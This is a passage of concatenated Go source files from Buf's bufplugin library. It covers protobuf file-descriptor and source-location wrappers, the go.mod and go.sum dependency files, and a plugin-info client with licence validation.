| return nil, fmt.Errorf("duplicate file name: %q", fileName) 84 | } 85 | fileDescriptorProtos[i] = fileDescriptorProto 86 | fileNameToProtoFileDescriptor[fileName] = protoFileDescriptor 87 | } 88 | 89 | protoregistryFiles, err := protodesc.NewFiles( 90 | &descriptorpb.FileDescriptorSet{ 91 | File: fileDescriptorProtos, 92 | }, 93 | ) 94 | if err != nil { 95 | return nil, err 96 | } 97 | 98 | fileDescriptors := make([]FileDescriptor, 0, len(protoFileDescriptors)) 99 | protoregistryFiles.RangeFiles( 100 | func(protoreflectFileDescriptor protoreflect.FileDescriptor) bool { 101 | protoFileDescriptor, ok := fileNameToProtoFileDescriptor[protoreflectFileDescriptor.Path()] 102 | if !ok { 103 | // If the protoreflect API is sane, this should never happen. 104 | // However, the protoreflect API is not sane. 105 | err = fmt.Errorf("unknown file: %q", protoreflectFileDescriptor.Path()) 106 | return false 107 | } 108 | fileDescriptors = append( 109 | fileDescriptors, 110 | newFileDescriptor( 111 | protoreflectFileDescriptor, 112 | protoFileDescriptor.GetFileDescriptorProto(), 113 | protoFileDescriptor.GetIsImport(), 114 | protoFileDescriptor.GetIsSyntaxUnspecified(), 115 | protoFileDescriptor.GetUnusedDependency(), 116 | ), 117 | ) 118 | return true 119 | }, 120 | ) 121 | if err != nil { 122 | return nil, err 123 | } 124 | if len(fileDescriptors) != len(protoFileDescriptors) { 125 | // If the protoreflect API is sane, this should never happen. 126 | // However, the protoreflect API is not sane. 127 | return nil, fmt.Errorf("expected %d files from protoregistry, got %d", len(protoFileDescriptors), len(fileDescriptors)) 128 | } 129 | return fileDescriptors, nil 130 | } 131 | 132 | // *** PRIVATE *** 133 | 134 | type fileDescriptor struct { 135 | protoreflectFileDescriptor protoreflect.FileDescriptor 136 | fileDescriptorProto *descriptorpb.FileDescriptorProto 137 | isImport bool 138 | isSyntaxUnspecified bool 139 | unusedDependencyIndexes []int32 140 | } 141 | 142 | func newFileDescriptor( 143 | protoreflectFileDescriptor protoreflect.FileDescriptor, 144 | fileDescriptorProto *descriptorpb.FileDescriptorProto, 145 | isImport bool, 146 | isSyntaxUnspecified bool, 147 | unusedDependencyIndexes []int32, 148 | ) *fileDescriptor { 149 | return &fileDescriptor{ 150 | protoreflectFileDescriptor: protoreflectFileDescriptor, 151 | fileDescriptorProto: fileDescriptorProto, 152 | isImport: isImport, 153 | isSyntaxUnspecified: isSyntaxUnspecified, 154 | unusedDependencyIndexes: unusedDependencyIndexes, 155 | } 156 | } 157 | 158 | func (f *fileDescriptor) ProtoreflectFileDescriptor() protoreflect.FileDescriptor { 159 | return f.protoreflectFileDescriptor 160 | } 161 | 162 | func (f *fileDescriptor) FileDescriptorProto() *descriptorpb.FileDescriptorProto { 163 | return f.fileDescriptorProto 164 | } 165 | 166 | func (f *fileDescriptor) IsImport() bool { 167 | return f.isImport 168 | } 169 | 170 | func (f *fileDescriptor) IsSyntaxUnspecified() bool { 171 | return f.isSyntaxUnspecified 172 | } 173 | 174 | func (f *fileDescriptor) UnusedDependencyIndexes() []int32 { 175 | return slices.Clone(f.unusedDependencyIndexes) 176 | } 177 | 178 | func (f *fileDescriptor) ToProto() *descriptorv1.FileDescriptor { 179 | if f == nil { 180 | return nil 181 | } 182 | return &descriptorv1.FileDescriptor{ 183 | FileDescriptorProto: f.fileDescriptorProto, 184 | IsImport: f.isImport, 185 | IsSyntaxUnspecified: f.isSyntaxUnspecified, 186 | UnusedDependency: f.unusedDependencyIndexes, 187 | } 188 | } 189 | 190 | func (*fileDescriptor) isFileDescriptor() {} 191 | -------------------------------------------------------------------------------- /descriptor/file_location.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package descriptor 16 | 17 | import ( 18 | "slices" 19 | 20 | descriptorv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/descriptor/v1" 21 | "google.golang.org/protobuf/reflect/protoreflect" 22 | ) 23 | 24 | // FileLocation is a reference to a FileDescriptor or to a location within a FileDescriptor. 25 | // 26 | // A FileLocation always has a file name. 27 | type FileLocation interface { 28 | // FileDescriptor is the FileDescriptor associated with the FileLocation. 29 | // 30 | // Always present. 31 | FileDescriptor() FileDescriptor 32 | // SourcePath returns the path within the FileDescriptorProto of the FileLocation. 33 | SourcePath() protoreflect.SourcePath 34 | 35 | // StartLine returns the zero-indexed start line, if known. 36 | StartLine() int 37 | // StartColumn returns the zero-indexed start column, if known. 38 | StartColumn() int 39 | // EndLine returns the zero-indexed end line, if known. 40 | EndLine() int 41 | // EndColumn returns the zero-indexed end column, if known. 42 | EndColumn() int 43 | // LeadingComments returns any leading comments, if known. 44 | LeadingComments() string 45 | // TrailingComments returns any trailing comments, if known. 46 | TrailingComments() string 47 | // LeadingDetachedComments returns any leading detached comments, if known. 48 | LeadingDetachedComments() []string 49 | // ToProto converts the FileLocation to its Protobuf representation. 50 | ToProto() *descriptorv1.FileLocation 51 | 52 | unclonedSourcePath() protoreflect.SourcePath 53 | unclonedLeadingDetachedComments() []string 54 | 55 | isFileLocation() 56 | } 57 | 58 | // NewFileLocation returns a new FileLocation. 59 | func NewFileLocation( 60 | fileDescriptor FileDescriptor, 61 | sourceLocation protoreflect.SourceLocation, 62 | ) FileLocation { 63 | return &fileLocation{ 64 | fileDescriptor: fileDescriptor, 65 | sourceLocation: sourceLocation, 66 | } 67 | } 68 | 69 | // *** PRIVATE *** 70 | 71 | type fileLocation struct { 72 | fileDescriptor FileDescriptor 73 | sourceLocation protoreflect.SourceLocation 74 | } 75 | 76 | func (l *fileLocation) FileDescriptor() FileDescriptor { 77 | return l.fileDescriptor 78 | } 79 | 80 | func (l *fileLocation) SourcePath() protoreflect.SourcePath { 81 | return slices.Clone(l.sourceLocation.Path) 82 | } 83 | 84 | func (l *fileLocation) StartLine() int { 85 | return l.sourceLocation.StartLine 86 | } 87 | 88 | func (l *fileLocation) StartColumn() int { 89 | return l.sourceLocation.StartColumn 90 | } 91 | 92 | func (l *fileLocation) EndLine() int { 93 | return l.sourceLocation.EndLine 94 | } 95 | 96 | func (l *fileLocation) EndColumn() int { 97 | return l.sourceLocation.EndColumn 98 | } 99 | 100 | func (l *fileLocation) LeadingComments() string { 101 | return l.sourceLocation.LeadingComments 102 | } 103 | 104 | func (l *fileLocation) TrailingComments() string { 105 | return l.sourceLocation.TrailingComments 106 | } 107 | 108 | func (l *fileLocation) LeadingDetachedComments() []string { 109 | return slices.Clone(l.sourceLocation.LeadingDetachedComments) 110 | } 111 | 112 | func (l *fileLocation) ToProto() *descriptorv1.FileLocation { 113 | if l == nil { 114 | return nil 115 | } 116 | return &descriptorv1.FileLocation{ 117 | FileName: l.fileDescriptor.ProtoreflectFileDescriptor().Path(), 118 | SourcePath: l.sourceLocation.Path, 119 | } 120 | } 121 | 122 | func (l *fileLocation) unclonedSourcePath() protoreflect.SourcePath { 123 | return l.sourceLocation.Path 124 | } 125 | 126 | func (l *fileLocation) unclonedLeadingDetachedComments() []string { 127 | return l.sourceLocation.LeadingDetachedComments 128 | } 129 | 130 | func (*fileLocation) isFileLocation() {} 131 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module buf.build/go/bufplugin 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.23.5 6 | 7 | require ( 8 | buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go v1.36.3-20250121211742-6d880cc6cc8d.1 9 | buf.build/go/protovalidate v0.12.0 10 | buf.build/go/spdx v0.2.0 11 | github.com/bufbuild/protocompile v0.14.1 12 | github.com/stretchr/testify v1.10.0 13 | google.golang.org/protobuf v1.36.6 14 | pluginrpc.com/pluginrpc v0.5.0 15 | ) 16 | 17 | require ( 18 | buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.6-20250425153114-8976f5be98c1.1 // indirect 19 | buf.build/gen/go/pluginrpc/pluginrpc/protocolbuffers/go v1.36.3-20241007202033-cf42259fcbfc.1 // indirect 20 | cel.dev/expr v0.23.1 // indirect 21 | github.com/antlr4-go/antlr/v4 v4.13.1 // indirect 22 | github.com/davecgh/go-spew v1.1.1 // indirect 23 | github.com/google/cel-go v0.25.0 // indirect 24 | github.com/mattn/go-isatty v0.0.20 // indirect 25 | github.com/pmezard/go-difflib v1.0.0 // indirect 26 | github.com/spf13/pflag v1.0.5 // indirect 27 | github.com/stoewer/go-strcase v1.3.0 // indirect 28 | golang.org/x/exp v0.0.0-20250128182459-e0ece0dbea4c // indirect 29 | golang.org/x/sync v0.12.0 // indirect 30 | golang.org/x/sys v0.29.0 // indirect 31 | golang.org/x/text v0.23.0 // indirect 32 | google.golang.org/genproto/googleapis/api v0.0.0-20250127172529-29210b9bc287 // indirect 33 | google.golang.org/genproto/googleapis/rpc v0.0.0-20250127172529-29210b9bc287 // indirect 34 | gopkg.in/yaml.v3 v3.0.1 // indirect 35 | ) 36 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go v1.36.3-20250121211742-6d880cc6cc8d.1 h1:1v+ez1GRKKKdI1IwDDQqV98lGKo8489+Ekql+prUW6c= 2 | buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go v1.36.3-20250121211742-6d880cc6cc8d.1/go.mod h1:MYDFm9IHRP085R5Bis68mLc0mIqp5Q27Uk4o8YXjkAI= 3 | buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.6-20250425153114-8976f5be98c1.1 h1:YhMSc48s25kr7kv31Z8vf7sPUIq5YJva9z1mn/hAt0M= 4 | buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.6-20250425153114-8976f5be98c1.1/go.mod h1:avRlCjnFzl98VPaeCtJ24RrV/wwHFzB8sWXhj26+n/U= 5 | buf.build/gen/go/pluginrpc/pluginrpc/protocolbuffers/go v1.36.3-20241007202033-cf42259fcbfc.1 h1:NOipq02MS20WQCr6rfAG1o0n2AuQnY4Xg9avLl16csA= 6 | buf.build/gen/go/pluginrpc/pluginrpc/protocolbuffers/go v1.36.3-20241007202033-cf42259fcbfc.1/go.mod h1:jceo5esD5zSbflHHGad57RXzBpRrcPaiLrLQRA+Mbec= 7 | buf.build/go/protovalidate v0.12.0 h1:4GKJotbspQjRCcqZMGVSuC8SjwZ/FmgtSuKDpKUTZew= 8 | buf.build/go/protovalidate v0.12.0/go.mod h1:q3PFfbzI05LeqxSwq+begW2syjy2Z6hLxZSkP1OH/D0= 9 | buf.build/go/spdx v0.2.0 h1:IItqM0/cMxvFJJumcBuP8NrsIzMs/UYjp/6WSpq8LTw= 10 | buf.build/go/spdx v0.2.0/go.mod h1:bXdwQFem9Si3nsbNy8aJKGPoaPi5DKwdeEp5/ArZ6w8= 11 | cel.dev/expr v0.23.1 h1:K4KOtPCJQjVggkARsjG9RWXP6O4R73aHeJMa/dmCQQg= 12 | cel.dev/expr v0.23.1/go.mod h1:hLPLo1W4QUmuYdA72RBX06QTs6MXw941piREPl3Yfiw= 13 | github.com/antlr4-go/antlr/v4 v4.13.1 h1:SqQKkuVZ+zWkMMNkjy5FZe5mr5WURWnlpmOuzYWrPrQ= 14 | github.com/antlr4-go/antlr/v4 v4.13.1/go.mod h1:GKmUxMtwp6ZgGwZSva4eWPC5mS6vUAmOABFgjdkM7Nw= 15 | github.com/bufbuild/protocompile v0.14.1 h1:iA73zAf/fyljNjQKwYzUHD6AD4R8KMasmwa/FBatYVw= 16 | github.com/bufbuild/protocompile v0.14.1/go.mod h1:ppVdAIhbr2H8asPk6k4pY7t9zB1OU5DoEw9xY/FUi1c= 17 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 20 | github.com/google/cel-go v0.25.0 h1:jsFw9Fhn+3y2kBbltZR4VEz5xKkcIFRPDnuEzAGv5GY= 21 | github.com/google/cel-go v0.25.0/go.mod h1:hjEb6r5SuOSlhCHmFoLzu8HGCERvIsDAbxDAyNU/MmI= 22 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 23 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 24 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 25 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 26 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 27 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 28 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 29 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 30 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 31 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 32 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 33 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 34 | github.com/stoewer/go-strcase v1.3.0 h1:g0eASXYtp+yvN9fK8sH94oCIk0fau9uV1/ZdJ0AVEzs= 35 | github.com/stoewer/go-strcase v1.3.0/go.mod h1:fAH5hQ5pehh+j3nZfvwdk2RgEgQjAoM8wodgtPmh1xo= 36 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 37 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 38 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 39 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 40 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 41 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 42 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 43 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 44 | golang.org/x/exp v0.0.0-20250128182459-e0ece0dbea4c h1:KL/ZBHXgKGVmuZBZ01Lt57yE5ws8ZPSkkihmEyq7FXc= 45 | golang.org/x/exp v0.0.0-20250128182459-e0ece0dbea4c/go.mod h1:tujkw807nyEEAamNbDrEGzRav+ilXA7PCRAd6xsmwiU= 46 | golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= 47 | golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= 48 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 49 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 50 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 51 | golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= 52 | golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= 53 | google.golang.org/genproto/googleapis/api v0.0.0-20250127172529-29210b9bc287 h1:A2ni10G3UlplFrWdCDJTl7D7mJ7GSRm37S+PDimaKRw= 54 | google.golang.org/genproto/googleapis/api v0.0.0-20250127172529-29210b9bc287/go.mod h1:iYONQfRdizDB8JJBybql13nArx91jcUk7zCXEsOofM4= 55 | google.golang.org/genproto/googleapis/rpc v0.0.0-20250127172529-29210b9bc287 h1:J1H9f+LEdWAfHcez/4cvaVBox7cOYT+IU6rgqj5x++8= 56 | google.golang.org/genproto/googleapis/rpc v0.0.0-20250127172529-29210b9bc287/go.mod h1:8BS3B93F/U1juMFq9+EDk+qOT5CO1R9IzXxG3PTqiRk= 57 | google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= 58 | google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= 59 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 60 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 61 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 62 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 63 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 64 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 65 | pluginrpc.com/pluginrpc v0.5.0 h1:tOQj2D35hOmvHyPu8e7ohW2/QvAnEtKscy2IJYWQ2yo= 66 | pluginrpc.com/pluginrpc v0.5.0/go.mod h1:UNWZ941hcVAoOZUn8YZsMmOZBzbUjQa3XMns8RQLp9o= 67 | -------------------------------------------------------------------------------- /info/client.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "context" 19 | 20 | infov1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 21 | "buf.build/go/bufplugin/internal/gen/buf/plugin/info/v1/v1pluginrpc" 22 | "buf.build/go/bufplugin/internal/pkg/cache" 23 | "pluginrpc.com/pluginrpc" 24 | ) 25 | 26 | // Client is a client for plugin information. 27 | // 28 | // All calls with pluginrpc.Error with CodeUnimplemented if any procedure is not implemented. 29 | type Client interface { 30 | // GetPluginInfo gets plugin information. 31 | GetPluginInfo(ctx context.Context, options ...GetPluginInfoCallOption) (PluginInfo, error) 32 | 33 | isClient() 34 | } 35 | 36 | // NewClient returns a new Client for the given pluginrpc.Client. 37 | func NewClient(pluginrpcClient pluginrpc.Client, options ...ClientOption) Client { 38 | clientOptions := newClientOptions() 39 | for _, option := range options { 40 | option.applyToClient(clientOptions) 41 | } 42 | return newClient(pluginrpcClient, clientOptions.caching) 43 | } 44 | 45 | // ClientOption is an option for a new Client. 46 | type ClientOption interface { 47 | applyToClient(opts *clientOptions) 48 | } 49 | 50 | // ClientWithCaching returns a new ClientOption that will result caching for items 51 | // expected to be static: 52 | // 53 | // - PluginInfo from GetPluginInfo. 54 | // 55 | // The default is to not cache. 56 | func ClientWithCaching() ClientOption { 57 | return clientWithCachingOption{} 58 | } 59 | 60 | // GetPluginInfoCallOption is an option for a Client.GetPluginInfo call. 61 | type GetPluginInfoCallOption func(*getPluginInfoCallOptions) 62 | 63 | // *** PRIVATE *** 64 | 65 | type client struct { 66 | pluginrpcClient pluginrpc.Client 67 | 68 | caching bool 69 | 70 | // Singleton ordering: pluginInfo -> pluginInfoServiceClient 71 | pluginInfo *cache.Singleton[PluginInfo] 72 | pluginInfoServiceClient *cache.Singleton[v1pluginrpc.PluginInfoServiceClient] 73 | } 74 | 75 | func newClient( 76 | pluginrpcClient pluginrpc.Client, 77 | caching bool, 78 | ) *client { 79 | client := &client{ 80 | pluginrpcClient: pluginrpcClient, 81 | caching: caching, 82 | } 83 | client.pluginInfo = cache.NewSingleton(client.getPluginInfoUncached) 84 | client.pluginInfoServiceClient = cache.NewSingleton(client.getPluginInfoServiceClientUncached) 85 | return client 86 | } 87 | 88 | func (c *client) GetPluginInfo(ctx context.Context, _ ...GetPluginInfoCallOption) (PluginInfo, error) { 89 | if !c.caching { 90 | return c.getPluginInfoUncached(ctx) 91 | } 92 | return c.pluginInfo.Get(ctx) 93 | } 94 | 95 | func (c *client) getPluginInfoUncached(ctx context.Context) (PluginInfo, error) { 96 | pluginInfoServiceClient, err := c.pluginInfoServiceClient.Get(ctx) 97 | if err != nil { 98 | return nil, err 99 | } 100 | response, err := pluginInfoServiceClient.GetPluginInfo( 101 | ctx, 102 | &infov1.GetPluginInfoRequest{}, 103 | ) 104 | if err != nil { 105 | return nil, err 106 | } 107 | return pluginInfoForProtoPluginInfo(response.GetPluginInfo()) 108 | } 109 | 110 | func (c *client) getPluginInfoServiceClientUncached(ctx context.Context) (v1pluginrpc.PluginInfoServiceClient, error) { 111 | spec, err := c.pluginrpcClient.Spec(ctx) 112 | if err != nil { 113 | return nil, err 114 | } 115 | for _, procedurePath := range []string{ 116 | v1pluginrpc.PluginInfoServiceGetPluginInfoPath, 117 | } { 118 | if spec.ProcedureForPath(procedurePath) == nil { 119 | return nil, pluginrpc.NewErrorf(pluginrpc.CodeUnimplemented, "procedure unimplemented: %q", procedurePath) 120 | } 121 | } 122 | return v1pluginrpc.NewPluginInfoServiceClient(c.pluginrpcClient) 123 | } 124 | 125 | func (*client) isClient() {} 126 | 127 | type clientOptions struct { 128 | caching bool 129 | } 130 | 131 | func newClientOptions() *clientOptions { 132 | return &clientOptions{} 133 | } 134 | 135 | type clientWithCachingOption struct{} 136 | 137 | func (clientWithCachingOption) applyToClient(clientOptions *clientOptions) { 138 | clientOptions.caching = true 139 | } 140 | 141 | type getPluginInfoCallOptions struct{} 142 | -------------------------------------------------------------------------------- /info/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "strings" 21 | ) 22 | 23 | type validateSpecError struct { 24 | delegate error 25 | } 26 | 27 | func newValidateSpecError(message string) *validateSpecError { 28 | return &validateSpecError{ 29 | delegate: errors.New(message), 30 | } 31 | } 32 | 33 | func newValidateSpecErrorf(format string, args ...any) *validateSpecError { 34 | return &validateSpecError{ 35 | delegate: fmt.Errorf(format, args...), 36 | } 37 | } 38 | 39 | func (vr *validateSpecError) Error() string { 40 | if vr == nil { 41 | return "" 42 | } 43 | if vr.delegate == nil { 44 | return "" 45 | } 46 | var sb strings.Builder 47 | _, _ = sb.WriteString(`invalid info.Spec: `) 48 | _, _ = sb.WriteString(vr.delegate.Error()) 49 | return sb.String() 50 | } 51 | 52 | func (vr *validateSpecError) Unwrap() error { 53 | if vr == nil { 54 | return nil 55 | } 56 | return vr.delegate 57 | } 58 | -------------------------------------------------------------------------------- /info/info.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package info provides plugin information. 16 | package info // import "buf.build/go/bufplugin/info" 17 | -------------------------------------------------------------------------------- /info/license.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "net/url" 21 | 22 | infov1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 23 | "buf.build/go/spdx" 24 | ) 25 | 26 | // License contains license information about a plugin. 27 | // 28 | // A License will either have raw text or a URL that contains the License. 29 | // Zero or one of these will be set. 30 | type License interface { 31 | // SPDXLicenseID returns the SPDX license ID. 32 | // 33 | // Optional. 34 | // 35 | // Will be a valid SPDX license ID contained within https://spdx.org/licenses 36 | // if present. 37 | SPDXLicenseID() string 38 | // Text returns the raw text of the License. 39 | // 40 | // At most one of Text and URL will be set. 41 | Text() string 42 | // URL returns the URL that contains the License. 43 | // 44 | // At most one of Text and URL will be set. 45 | // Must be absolute if set. 46 | URL() *url.URL 47 | 48 | toProto() *infov1.License 49 | 50 | isLicense() 51 | } 52 | 53 | // *** PRIVATE *** 54 | 55 | type license struct { 56 | spdxLicenseID string 57 | text string 58 | url *url.URL 59 | } 60 | 61 | func newLicense( 62 | // Case-insensitive. 63 | spdxLicenseID string, 64 | text string, 65 | url *url.URL, 66 | ) (*license, error) { 67 | if spdxLicenseID != "" { 68 | spdxLicense, ok := spdx.LicenseForID(spdxLicenseID) 69 | if !ok { 70 | return nil, fmt.Errorf("unknown SPDX license ID: %q", spdxLicenseID) 71 | } 72 | // Case-sensitive. 73 | spdxLicenseID = spdxLicense.ID 74 | } 75 | if text != "" && url != nil { 76 | return nil, errors.New("info.License: both text and url are present") 77 | } 78 | if url != nil && url.Host == "" { 79 | return nil, fmt.Errorf("url %v must be absolute", url) 80 | } 81 | return &license{ 82 | spdxLicenseID: spdxLicenseID, 83 | text: text, 84 | url: url, 85 | }, nil 86 | } 87 | 88 | func (l *license) SPDXLicenseID() string { 89 | return l.spdxLicenseID 90 | } 91 | 92 | func (l *license) Text() string { 93 | return l.text 94 | } 95 | 96 | func (l *license) URL() *url.URL { 97 | return l.url 98 | } 99 | 100 | func (l *license) toProto() *infov1.License { 101 | if l == nil { 102 | return nil 103 | } 104 | protoLicense := &infov1.License{ 105 | SpdxLicenseId: l.SPDXLicenseID(), 106 | } 107 | if l.text != "" { 108 | protoLicense.Source = &infov1.License_Text{ 109 | Text: l.text, 110 | } 111 | } else if l.url != nil { 112 | protoLicense.Source = &infov1.License_Url{ 113 | Url: l.url.String(), 114 | } 115 | } 116 | return protoLicense 117 | } 118 | 119 | func (*license) isLicense() {} 120 | 121 | // Need to keep as pointer for Go nil is not nil problem. 122 | func licenseForProtoLicense(protoLicense *infov1.License) (*license, error) { 123 | if protoLicense == nil { 124 | return nil, nil 125 | } 126 | text := protoLicense.GetText() 127 | var uri *url.URL 128 | if urlString := protoLicense.GetUrl(); urlString != "" { 129 | var err error 130 | uri, err = url.Parse(urlString) 131 | if err != nil { 132 | return nil, err 133 | } 134 | } 135 | return newLicense( 136 | protoLicense.GetSpdxLicenseId(), 137 | text, 138 | uri, 139 | ) 140 | } 141 | -------------------------------------------------------------------------------- /info/plugin_info.go: 